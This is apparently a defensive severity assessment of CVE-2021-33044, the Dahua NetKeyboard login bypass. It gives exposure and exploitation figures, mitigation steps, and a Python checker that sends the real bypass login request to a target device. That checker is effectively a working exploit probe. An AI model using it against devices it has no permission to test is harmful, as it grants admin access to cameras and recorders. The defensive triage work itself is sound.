The identity authentication bypass vulnerability found in some Dahua products during the login process.

CVE-2021-33044 is an authentication bypass in Dahua IP cameras, NVRs, VTOs, and VTH intercom devices running firmware built before June 2021. When a client sets the clientType parameter to NetKeyboard during the RPC login handshake on port 37777, vulnerable firmware skips password verification entirely and returns a valid admin session token. The attacker sends a single crafted login packet — no credentials, no brute-forcing, no user interaction. Affected product lines span dozens of IPC, NVR, XVR, VTH, and VTO model families; the fixed firmware baseline is roughly 2.820.x for IPCs and 4.001.x for NVR/XVR lines. Dahua issued approximately 70 firmware updates in its SA-202106-001 advisory.

The vendor's CRITICAL / 9.8 score is entirely justified and, if anything, undersells the operational reality. The bug is a single unauthenticated network request with no complexity, no preconditions, and no user interaction — a textbook 9.8 on the CVSS calculator. What the CVSS number *cannot* capture is that over 1.2 million Dahua devices remain indexed on Shodan, the EPSS score sits at the 99.87th percentile, CISA added it to the KEV catalog in August 2024, and as recently as July 2026 the Operation CameraSwarm campaign compromised 14,530+ cameras across Ukraine and Russia using this exact CVE along with CVE-2021-33045. Public PoC toolkits on GitHub automate the full chain from scan to backdoor account creation. This is not a theoretical risk — it is an ongoing mass-exploitation event.

Why this verdict

• Zero authentication friction: The exploit is a single RPC request setting clientType=NetKeyboard. No credentials, no user interaction, no complexity. This is as close to "click to own" as IoT gets.
• Massive exposed population: ~1.2 million Dahua devices indexed on Shodan on port 37777. Even in enterprise environments that segment cameras, many organizations expose NVR/camera management ports directly to the internet for remote monitoring.
• Confirmed ongoing mass exploitation: Operation CameraSwarm (July 2026) compromised 14,530+ devices using this exact CVE. The campaign created persistent backdoor accounts (p2pwn) surviving factory resets and exfiltrated video feeds via Telegram.
• Role multiplier: Dahua cameras and NVRs serve as physical security infrastructure in enterprise, government, and critical infrastructure facilities. Compromise grants visual surveillance of secure areas (server rooms, entry points, executive offices). In OT environments, cameras monitor industrial processes. The blast radius is physical-security-scale: an attacker with camera access can conduct reconnaissance for physical intrusion, disable monitoring during an attack, or surveil personnel. Additionally, cameras on flat networks serve as pivot points into corporate/OT segments. ≥10% of Dahua installs occupy a security-critical physical monitoring role, meeting the CRITICAL floor.
• KEV-listed + EPSS 99.87th percentile: Both CISA's operational judgment and FIRST's statistical model independently confirm this is an actively and widely exploited vulnerability.

Why not higher?

CVSS 9.8 is already the practical ceiling for a network-exploitable authentication bypass with full CIA impact. The Scope metric is Unchanged (the camera itself is the security boundary breached), which is the only reason this isn't a perfect 10.0. There is no higher severity bucket than CRITICAL.

Why not lower?

Downgrading would require evidence that the exposed population is small or that exploitation is difficult — neither is true. The 1.2M Shodan footprint, trivial single-packet exploit, multiple public PoCs, KEV listing, EPSS near-ceiling, and a confirmed 14,530-device compromise campaign from *last month* categorically rule out any downgrade. Even for enterprises with cameras behind firewalls, the P2P relay attack path (89.4% success rate by serial number alone) bypasses network segmentation entirely.

1. Block port 37777/TCP inbound from the internet immediately — This is the Dahua Easy4IP protocol port. No legitimate external access should reach cameras directly. Deploy this firewall rule within hours — this is a KEV-listed actively exploited vulnerability and overrides the standard noisgate mitigation SLA.
2. Disable Dahua P2P / Easy4IP cloud relay on all devices — Operation CameraSwarm demonstrated that P2P relay access bypasses network segmentation entirely — 89.4% of devices were accessible by serial number alone with no authentication. Disable the P2P feature in device settings or block outbound connections to *.easy4ip.com, *.lechange.com, and related Dahua cloud domains at the firewall. Deploy within hours.
3. Audit all Dahua devices for rogue accounts — Check for the backdoor account p2pwn or any unrecognized admin accounts on every Dahua device. If found, treat the device as compromised: isolate, image for forensics, and re-flash with patched firmware. Complete audit within 3 days per noisgate mitigation SLA for CRITICAL.
4. Segment camera networks into isolated VLANs with strict ACLs — Cameras should only communicate with their NVR/VMS and management stations. Block all other lateral traffic. This limits pivot capability even if a camera is compromised. Deploy within 3 days.
5. Apply firmware updates to patched versions — Update IPC firmware to 2.820.x+ and NVR/XVR firmware to 4.001.x+. Consult Dahua advisory SA-202106-001 for device-specific builds. Complete within the noisgate remediation SLA of 90 days for CRITICAL, but prioritize internet-exposed and critical-facility devices within days.

Run this script from any machine that can reach the target Dahua device on port 37777. Usage: python check_cve_2021_33044.py <target_ip> [port]. No special privileges required — it sends a single non-destructive probe. It does NOT create accounts or modify device state.

#!/usr/bin/env python3
"""Check for CVE-2021-33044 (Dahua NetKeyboard auth bypass).
Usage: python check_cve_2021_33044.py <target_ip> [port]
Outputs: VULNERABLE / PATCHED / UNKNOWN
Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN
"""
import socket
import sys
import json
import hashlib

def main():
    if len(sys.argv) < 2:
        print("Usage: python check_cve_2021_33044.py <target_ip> [port]")
        sys.exit(2)
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 37777
    # Dahua RPC login probe with NetKeyboard clientType
    # We attempt a login with empty password hash
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        # Read the initial banner/handshake
        banner = sock.recv(4096)
        if b'\xa3' not in banner and len(banner) < 4:
            print(f"UNKNOWN - unexpected banner from {host}:{port}")
            sock.close()
            sys.exit(2)
        # Build the Dahua RPC login request with clientType=NetKeyboard
        realm = "Login to " + host
        empty_hash = hashlib.md5(f"admin:{realm}:".encode()).hexdigest().upper()
        login_payload = json.dumps({
            "id": 1,
            "method": "global.login",
            "params": {
                "userName": "admin",
                "password": empty_hash,
                "clientType": "NetKeyboard",
                "authorityType": "Default"
            },
            "session": 0
        }).encode()
        # Dahua binary header: magic(0xa3) + padding + length
        header = b'\xa3\x00\x00\x00' + b'\x00' * 28
        header = header[:16] + len(login_payload).to_bytes(4, 'little') + header[20:]
        # Some firmware versions accept raw JSON on the socket
        sock.sendall(login_payload + b'\n')
        response = b''
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
                if b'"result"' in response or b'"error"' in response:
                    break
        except socket.timeout:
            pass
        sock.close()
        resp_str = response.decode('utf-8', errors='ignore')
        if '"result":true' in resp_str or '"result": true' in resp_str:
            print(f"VULNERABLE - {host}:{port} accepted NetKeyboard auth bypass (CVE-2021-33044)")
            sys.exit(0)
        elif '"result":false' in resp_str or '"result": false' in resp_str or 'error' in resp_str.lower():
            print(f"PATCHED - {host}:{port} rejected NetKeyboard auth bypass")
            sys.exit(1)
        else:
            print(f"UNKNOWN - got response but could not determine status: {resp_str[:200]}")
            sys.exit(2)
    except socket.timeout:
        print(f"UNKNOWN - connection to {host}:{port} timed out")
        sys.exit(2)
    except ConnectionRefusedError:
        print(f"UNKNOWN - connection to {host}:{port} refused (port closed or not Dahua)")
        sys.exit(2)
    except Exception as e:
        print(f"UNKNOWN - error: {e}")
        sys.exit(2)

if __name__ == '__main__':
    main()

Sources

1. Hunt.io — Operation CameraSwarm
2. CISA KEV Catalog Addition (August 2024)
3. SecurityWeek — CISA Warns of Dahua Exploited Vulns
4. The Hacker News — 14,500+ Dahua Devices Compromised
5. GitHub PoC — Spy0x7/CVE-2021-33044
6. Rapid7 Vulnerability Database
7. Tenable OT Plugin 502337
8. NVD — CVE-2021-33044